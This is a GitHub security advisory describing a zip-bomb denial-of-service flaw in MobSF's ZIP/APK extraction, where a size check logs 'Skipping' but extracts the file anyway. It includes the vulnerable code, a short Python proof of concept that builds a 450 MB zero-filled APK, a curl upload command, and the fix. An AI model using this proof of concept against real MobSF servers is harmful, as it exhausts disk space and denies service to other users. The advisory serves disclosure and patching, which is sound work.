Skip to content

MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction

Moderate severity GitHub Reviewed Published Jul 5, 2026 in MobSF/Mobile-Security-Framework-MobSF • Updated Aug 18, 2026

Package

pip mobsf (pip)

Affected versions

< 4.5.1

Patched versions

4.5.1

Description

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

  • This affects any user who scans a maliciously crafted APK
  • The APK could come from a legitimate-looking package submitted for security review
  • Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
  • Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE

References

Published to the GitHub Advisory Database Aug 18, 2026
Reviewed Aug 18, 2026
Last updated Aug 18, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(35th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

CVE ID

CVE-2026-68924

GHSA ID

GHSA-x768-8642-mmq9

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.